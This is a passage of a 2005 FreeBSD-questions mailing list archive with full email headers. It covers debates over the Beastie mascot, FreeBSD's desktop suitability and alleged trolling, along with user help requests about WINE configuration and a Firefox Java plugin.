point of our > strengths when the Suits see a representation of what they perceive as; > childish or anti-christ or cartoonish whether justified or not. First > impressions are important. Might be true, though fBSD has come as far as it has without the aid of these Suits in question. It's certainly not about to stop growth without them. But I don't disagree that having more support from people that matter would be nice. > P.S. I like beastie... but I like the OS much better! Same here. Though beastie is pretty seksii. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:19:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2B6F516A4CE for ; Sat, 12 Feb 2005 01:19:38 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id BC50843D2F for ; Sat, 12 Feb 2005 01:19:37 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so378632rnf for ; Fri, 11 Feb 2005 17:19:37 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=AJtkRzPuDfQIfrvqFwQEznoY0VRwoZMXG4H5Q4n2Y1B8PgWp01GkDpuW2PPTyuzhmebzPoNhM5ZOxBvRWAxz0rUf2eZwtsjYfugmKyt2ebWYLjQfHuhLJOygwktDJJEd0QAAW9R+7AR7uOsDByMAXaiXWFV9j6LyDod+eRkeQLg= Received: by 10.39.2.55 with SMTP id e55mr57336rni; Fri, 11 Feb 2005 17:19:37 -0800 (PST) Received: by 10.38.101.19 with HTTP; Fri, 11 Feb 2005 17:19:37 -0800 (PST) Message-ID: Date: Fri, 11 Feb 2005 19:19:37 -0600 From: Eric Kjeldergaard To: "Chad Leigh -- Shire. Net LLC" In-Reply-To: <0891B1BF-7C93-11D9-B134-000D933E3CEC@shire.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> <0891B1BF-7C93-11D9-B134-000D933E3CEC@shire.net> cc: Robert Marella cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:19:38 -0000 On Fri, 11 Feb 2005 18:11:32 -0700, Chad Leigh -- Shire. Net LLC wrote: > > On Feb 11, 2005, at 5:34 PM, Robert Marella wrote: > > > On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: > >>> > >>> athony atkielski =~ /tm452\d/ ? > >> > >> I was beginning to suspect some such. > >> Maybe worse. > >> > >> ////jerry > >> > > Jerry and Eric > > > > If I can remember correctly, I have received help from both of you on > > some of my previous posts. I thank you and I always enjoy reading your > > view points. > > > > This post is no exception but I happen to find Anthony's views on this > > subject both provocative and right on the money. > > Jerry and Eric were not talking about Anthony and his views on the logo > issue when they wrote that. They were talking about his trolling posts > about the codebase and its legality and demanding an answer in this > forum instead of going to the people who could best answer him. Yeah, that's the one. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:26:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 81EB616A4CE; Sat, 12 Feb 2005 01:26:46 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3578543D1D; Sat, 12 Feb 2005 01:26:46 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Fri, 11 Feb 2005 19:26:39 -0600 Message-ID: <420D5AC3.3000202@daleco.biz> Date: Fri, 11 Feb 2005 19:24:19 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> In-Reply-To: <1935025570.20050211232605@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 12 Feb 2005 01:26:43.0437 (UTC) FILETIME=[E8F979D0:01C510A1] cc: frreebsd-advocacy@freebsd.org cc: atkielski.anthony@wanadoo.fr Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:26:46 -0000 Anthony Atkielski wrote: >Screenshots say _absolutely nothing_ about what an OS can do as a >server. And FreeBSD is not any more suitable for the desktop than Linux >(which is to say, it's hardly usable at all). > > Now, I've deleted all the context, but that's quite a generalization there in that second sentence. IIRC, this was the sort of thing that caused a few people to killfile your address a couple years back. Which was sad, because you bring a few plusses and a viable P.O.V. to the discussions that we all watch and/or participate in. I'm not trying to chastise nor start an argument; but you may want to be careful that in burning the thatch from the yard, you don't catch the forest on fire. Respectfully, Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:37:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 44A8316A4CF for ; Sat, 12 Feb 2005 01:37:37 +0000 (GMT) Received: from sage.thought.org (dsl231-043-140.sea1.dsl.speakeasy.net [216.231.43.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4621743D31 for ; Sat, 12 Feb 2005 01:37:32 +0000 (GMT) (envelope-from kline@tao.thought.org) Received: from thought.org (tao [10.0.0.247]) by sage.thought.org (8.13.1/8.12.10) with ESMTP id j1C1bUp7035626; Fri, 11 Feb 2005 17:37:31 -0800 (PST) (envelope-from kline@tao.thought.org) Received: from tao.thought.org (localhost [127.0.0.1]) by thought.org (8.12.11/8.12.11) with ESMTP id j1C1bTnm063074; Fri, 11 Feb 2005 17:37:29 -0800 (PST) (envelope-from kline@tao.thought.org) Received: (from kline@localhost) by tao.thought.org (8.12.11/8.12.11/Submit) id j1C1bSso063073; Fri, 11 Feb 2005 17:37:28 -0800 (PST) (envelope-from kline) Date: Fri, 11 Feb 2005 17:37:27 -0800 From: Gary Kline To: Ben Dover Message-ID: <20050212013727.GB62908@thought.org> References: <20050208234809.GA64598@thought.org> <42095227.7060008@scii.nl> <20050209172635.GA69442@thought.org> <5ae9cd5505021112536a31ac84@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5ae9cd5505021112536a31ac84@mail.gmail.com> X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 18 years of service to the Unix community User-Agent: Mutt/1.5.6i cc: Gary Kline cc: albi cc: FreeBSD Mailing List Subject: Re: is there a cheat-sheet for WINE? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:37:38 -0000 On Fri, Feb 11, 2005 at 03:53:12PM -0500, Ben Dover wrote: > I added the following to the top of my wine config file and the > stoppable errors went away. > > [Drive C] > "Path" = "/windows" > "Type" = "hd" > "Label" = "msdos" > "Filesystem" = "win98" > > > Note that "Path" = "/windows" is the directory i created to mount the > windows partition in /etc/fstab > Good luck > Okay, now can you telll mee what I need to add to my /etc/fstab? It has to be different from what I had back in '01!! --Or maybe not... thanks f or the clue. gary PS: BTW, I do/will want to use my CDROM drive. So what to I add for /cdrom?? > > On Wed, 9 Feb 2005 09:26:35 -0800, Gary Kline wrote: > > On Wed, Feb 09, 2005 at 12:58:31AM +0100, albi wrote: > > > Gary Kline wrote: > > > > > > > The sh tools/wineinstall did an incomplete job. I have > > > > ~/.wine/config i nstalled, but I'm missing something because > > > > runnning wine or wine --help yields: > > > > > > > > > > > >fixme:file:get_default_drive_device auto detection of DOS devices not > > > >supported on this platform > > > >Warning: the specified Windows directory L"c:\\windows" is not > > > >accessible. > > > > > > a few weeks ago i tried wine (and linux-winetools) from the ports in > > > 5.3 and it worked pretty well (testing filezilla for windows-users) > > > > > > in linux there's usually the winesetup tool, but this was (not available > > > and) not needed at all > > > > > > i would install wine from ports and do a rm -rf ~/.wine and try again > > > > > > > Still no luck. The WINE website is aimed toward Linux > > and as far as I can tell, the OnLamp article no longer > > applies. Anybody else? > > > > gary > > > > -- > > Gary Kline kline@thought.org www.thought.org Public service Unix > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Gary Kline kline@thought.org www.thought.org Public service Unix From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 01:55:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9457516A4CE for ; Sat, 12 Feb 2005 01:55:15 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7D80043D39 for ; Sat, 12 Feb 2005 01:55:10 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j1C1t6801703; Fri, 11 Feb 2005 20:55:06 -0500 (EST) From: Jerry McAllister Message-Id: <200502120155.j1C1t6801703@clunix.cl.msu.edu> To: hoe-waa@hawaii.rr.com (Robert Marella) Date: Fri, 11 Feb 2005 20:55:06 -0500 (EST) In-Reply-To: <1108168477.45718.19.camel@p4> from "Robert Marella" at Feb 11, 2005 02:34:37 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: kjelderg@gmail.com cc: Jerry McAllister cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 01:55:15 -0000 > > On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: > > > > > > athony atkielski =~ /tm452\d/ ? > > > > I was beginning to suspect some such. > > Maybe worse. > > > > ////jerry > > > Jerry and Eric > > If I can remember correctly, I have received help from both of you on > some of my previous posts. I thank you and I always enjoy reading your > view points. > > This post is no exception but I happen to find Anthony's views on this > subject both provocative and right on the money. > > We have all run into a problem with a printer, NIC, scanner that is "not > supported" by FreeBSD because the vendor will not release the drivers or > code needed to build a driver. > > The vendor could care less if our mascot is a daemon or Mount Fujiyama. > The vendor looks at the bottom line. How much engineer/programmer time > will it take and can I recover the investment. The vendor looks at the > number of installed systems and the competition for his product and > makes a _business_ decision. > > Anthony's point, and I agree, is that everything will grow when our OS > is taken for its strengths. It is difficult to get to the point of our > strengths when the Suits see a representation of what they perceive as; > childish or anti-christ or cartoonish whether justified or not. First > impressions are important. Well, I hope I am helpful, at least some of the time. It seems to run about 50-50 that I am near the topic and am way out of touch. But, on this, the comment is not because of the specific opinion, but rather the tenor of the posts which seem to have begun drifting in the direction of having the look and feel of some from a recent very thoroughly unpopular but active troll. The objectionable sign is the tendancy to not just post an opinion and let others have theirs, but to repeatedly pound on the same thread, often drifting far from the thread, with successive posts escalating the virulence of the rhetoric until there is no semblence of exchange left, just a bunch of who can shout the loudest. In a posting storm from only a few days ago, it was noted that this goes beyond even the typical troll, and may need some other creature to characterize the identity - maybe a cockatrice or something. Anyway, in the way of the old folk story, it looks like, feels like, smells like, tastes like - sure glad I didn't step in it. As for the beastie mascot, it's cute. It is not likely to go away, just because someone designs some letterhead logo. I wear my beastie T-shirt to church for band practice or kids club now and then with no comment from anyone. The kids wear much more offensive stuff frequently. But, if FreeBSD needs a logo now, maybe for letterhead, etc, who cares. Make a nice logo that includes a bit of the trident peeking above the name and a bit of pointy tail curling up under it - just as a teaser and reminder. Please do a nice job, though. Some of the logos out there in marketing land really are junk - either butt ugly or totally unrecognizable as anything. I doubt that making an official logo to go along with the variations of the mascot will interfere with my putting Beastie FreeBSD stickers on our machines or hanging a printout of Beastie on the office door, or replacing my T-shirt when it wears out. ////jerry > > Robert > > P.S. I like beastie... but I like the OS much better! > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:14:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B0F6C16A4CE; Sat, 12 Feb 2005 02:14:42 +0000 (GMT) Received: from luzifer.incubus.de (incubus.de [80.237.207.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id 40D6343D2F; Sat, 12 Feb 2005 02:14:42 +0000 (GMT) (envelope-from mkb@incubus.de) Received: from [192.168.2.10] (pD95429AD.dip.t-dialin.net [217.84.41.173]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id A02A031FBC; Sat, 12 Feb 2005 03:14:35 +0100 (CET) Message-ID: <420D669A.20000@incubus.de> Date: Sat, 12 Feb 2005 03:14:50 +0100 From: Matthias Buelow User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Johnson David References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> In-Reply-To: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org cc: "'freebsd-questions@freebsd.org'" Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:14:42 -0000 Johnson David wrote: > Currently Windows rules the desktop world, even for diehard Unix shops. But > that will not last forever. We need to start thinking about the desktop > today. We need to stop the official discouragement of desktop FreeBSD. MacOS X is the "Desktop BSD". It is available today, and it works better than anything else at being a "desktop". Considering the sorry state of integrated "desktops" on Unix today (i.e., Gnome and KDE) and compare it with Windows, do you really think that will convince any Windows user? Windows really is bad enough already, why should they change for a much worse user interface. For those of us that have been using X11 with various window managers for the last decade or more, that isn't an issue -- we're used to a different way of working, but those Windows types expect quite different things, which they'll only find in MacOS, outside of Windows, for the forseeable future. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:27:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 325BE16A4CE for ; Sat, 12 Feb 2005 02:27:27 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id E3D0F43D45 for ; Sat, 12 Feb 2005 02:27:26 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id BE7C41C00091 for ; Sat, 12 Feb 2005 03:27:22 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id A666B1C0008E for ; Sat, 12 Feb 2005 03:27:22 +0100 (CET) X-ME-UUID: 20050212022722681.A666B1C0008E@mwinf1102.wanadoo.fr Date: Sat, 12 Feb 2005 03:27:21 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1754082257.20050212032721@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:27:27 -0000 Eric Kjeldergaard writes: > Actually, I haven't. I have, but mainly with hardware that I would normally use only on the desktop. I ended up connecting it to Windows instead. FreeBSD has good support for hardware that you'd use on a server--better than that provided by Windows. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:30:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 43DC216A4CE for ; Sat, 12 Feb 2005 02:30:57 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5E2F443D48 for ; Sat, 12 Feb 2005 02:30:56 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j1C2UtN05603 for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 20:30:55 -0600 (CST) (envelope-from john) Date: Fri, 11 Feb 2005 20:30:55 -0600 From: John To: freebsd-questions@freebsd.org Message-ID: <20050211203055.A5567@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Subject: Firefox, java, plugins - need to go back to the port? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:30:57 -0000 I installed firefox from the packages, and now that it seems like I may have Java installed, I'd like to get the two to play together. I see a few different firefox plugins in /usr/ports/www, but no java, and I don't see any references to firefox or plugs in /usr/ports/java - clearly, I'm missing a piece of the puzzle. All my hits on google have talked about rebuilding the port after Java is installed. Is that what I have to do? Is there no way to get a java plugin without rebuilding the whole port? Thanks. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:31:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C7FA116A4CE for ; Sat, 12 Feb 2005 02:31:07 +0000 (GMT) Received: from smtp812.mail.sc5.yahoo.com (smtp812.mail.sc5.yahoo.com [66.163.170.82]) by mx1.FreeBSD.org (Postfix) with SMTP id 5A69B43D4C for ; Sat, 12 Feb 2005 02:31:07 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp812.mail.sc5.yahoo.com with SMTP; 12 Feb 2005 02:31:07 -0000 From: Joshua Tinnin To: Garance A Drosihn Date: Fri, 11 Feb 2005 18:31:06 -0800 User-Agent: KMail/1.7.2 References: <200502092223.01650.algould@datawok.com> <200502111456.56011.krinklyfig@spymac.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502111831.06605.krinklyfig@spymac.com> cc: freebsd-questions@freebsd.org cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:31:07 -0000 On Friday 11 February 2005 04:36 pm, Garance A Drosihn wrote: > At 2:56 PM -0800 2/11/05, Joshua Tinnin wrote: > >On Friday 11 February 2005 02:44 pm, Anthony Atkielski > > > > wrote: > >> Joshua Tinnin writes: > > > > Hmmm, let's see, Anthony Atielski, 30 posts on this subject > > > > alone, on a tech help list. Makes you wonder what sort of > > > > priorities you have. > >> > >> At the moment, I'm worried about FreeBSD. > > > >Listen. > > > >You come in here making vague accusations of legal wrongdoing, > >not just once, but TWICE! With no foundation or background, I > >might add. You make these accusations with close to zero actual > >knowledge of the situations involved. Do you know what that's > >called? That's called a cartooney threat. > > Oh come on now. Given the recent cartoony lawsuit by SCO against > IBM over Linux, I can understand his concern. *He* is not > threatening anyone, he's just asking a few worthwhile questions. > > And the answer is that the Project is well aware that it needs > to pay attention to these legal issues. First off, we already > won the earlier AT&T lawsuit against FreeBSD, and second off > we did notice the SCO lawsuit. We are checking in with lawyers > more than we used to, and deciding just how far we need to go > wrt these issues. > > Even if we could easily win any cartoony lawsuit, the lawsuit > itself takes money and time-resources that we would rather not > lose. Certainly the AT&T lawsuit in the 1990's caused a major > slowdown in progress for FreeBSD while it was being fought. > > Speaking as a programmer, it is very very annoying that we have > to spend time on these issues, but the fact remains that we *DO* > have to pay attention to them. He is questioning the activities of contributors to the project who are not acting in any way contrary to their employers' interests, copyright law or the FreeBSD project, insinuating that they are destroying the project by doing this for the above reasons. No such thing is happening. He does not have the background information to be making such comments. Constructive comments about liability are worthwhile, but picking stuff out of thin air and getting hysterical over it is not helpful. I have yet to hear anything from Anthony Atielski that would give creedence to his assertions, because according to him geeks don't know what they're doing in regards to intellectual property. Is he an attorney, or is he just another geek who doesn't know what he's talking about, by his own standards? Anyway, useful and constructive discussion in this area is helpful. Saying, "The sky is falling ... on FreeBSD RIGHT NOW!" without substantiation is only going to invite flames. - jt From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:34:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 76DBD16A4CE for ; Sat, 12 Feb 2005 02:34:59 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2E72243D3F for ; Sat, 12 Feb 2005 02:34:59 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 6B5231C00090 for ; Sat, 12 Feb 2005 03:34:58 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 48BA91C0008F for ; Sat, 12 Feb 2005 03:34:58 +0100 (CET) X-ME-UUID: 20050212023458298.48BA91C0008F@mwinf1103.wanadoo.fr Date: Sat, 12 Feb 2005 03:34:57 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1165567623.20050212033457@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420D5AC3.3000202@daleco.biz> References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> <420D5AC3.3000202@daleco.biz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:34:59 -0000 Kevin Kinsey writes: > IIRC, this was the sort of thing that caused a few people to > killfile your address a couple years back. The sort of teenage-boy attitude that causes some people to killfile others is one of the worst handicaps of the FreeBSD project. It is bad enough that I hesitate to clearly recommend FreeBSD for any type of serious use, simply because my reputation might suffer when anyone using the OS tries to actually talk to other users or persons involved with the project. A case in point is the ridiculous argument and name-calling I see here over Beastie. The kiddies are more worried about the fate of a cartoon character than about the operating system it represents. When so many people behave so petulantly over such trivial matters, it creates an overall perception of immaturity that scares off serious potential users of the OS. One has the impression of trying to calm a classroom full of first graders rather than discussing issues intelligently in a conference room with professional peers. I can say with absolute confidence that corporate decision makers who encounter this type of behavior will permanently write off FreeBSD within minutes of seeing it; and I can't say that I blame them, as no CEO or CIO can afford to bet millions of dollars on the capricious behavior of a bunch of junior-high kids. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:36:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F257116A4CE for ; Sat, 12 Feb 2005 02:36:21 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id AC68E43D54 for ; Sat, 12 Feb 2005 02:36:21 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id DD5431C0008E for ; Sat, 12 Feb 2005 03:36:20 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id C04971C0008A for ; Sat, 12 Feb 2005 03:36:20 +0100 (CET) X-ME-UUID: 20050212023620787.C04971C0008A@mwinf1108.wanadoo.fr Date: Sat, 12 Feb 2005 03:36:20 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <23506402.20050212033620@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420D669A.20000@incubus.de> References: <9C4E897FB284BF4DBC9C0DC42FB34617641AE6@mvaexch01.acuson.com> <420D669A.20000@incubus.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:36:22 -0000 Matthias Buelow writes: > MacOS X is the "Desktop BSD". It is available today, and it works > better than anything else at being a "desktop". Considering the sorry > state of integrated "desktops" on Unix today (i.e., Gnome and KDE) and > compare it with Windows, do you really think that will convince any > Windows user? Windows really is bad enough already, why should they > change for a much worse user interface. For those of us that have been > using X11 with various window managers for the last decade or more, that > isn't an issue -- we're used to a different way of working, but those > Windows types expect quite different things, which they'll only find in > MacOS, outside of Windows, for the forseeable future. Yes! So it's best to forget the battles one has lost, and concentrate on the battles that one can still win. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:41:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A722D16A4CE for ; Sat, 12 Feb 2005 02:41:39 +0000 (GMT) Received: from pop-a065c05.pas.sa.earthlink.net (pop-a065c05.pas.sa.earthlink.net [207.217.121.183]) by mx1.FreeBSD.org (Postfix) with ESMTP id 80AE443D53 for ; Sat, 12 Feb 2005 02:41:39 +0000 (GMT) (envelope-from tic.toc.tunes@earthlink.net) Received: from h-66-166-131-2.atlngahp.covad.net ([66.166.131.2] helo=ticqzqkss78zrr) by pop-a065c05.pas.sa.earthlink.net with smtp (Exim 3.33 #1) id 1CznE2-0000zk-00 for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 18:41:39 -0800 Message-ID: <006d01c510ac$64a7b920$6401a8c0@ticqzqkss78zrr> From: "Jay Kinkade" To: Date: Fri, 11 Feb 2005 21:41:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE 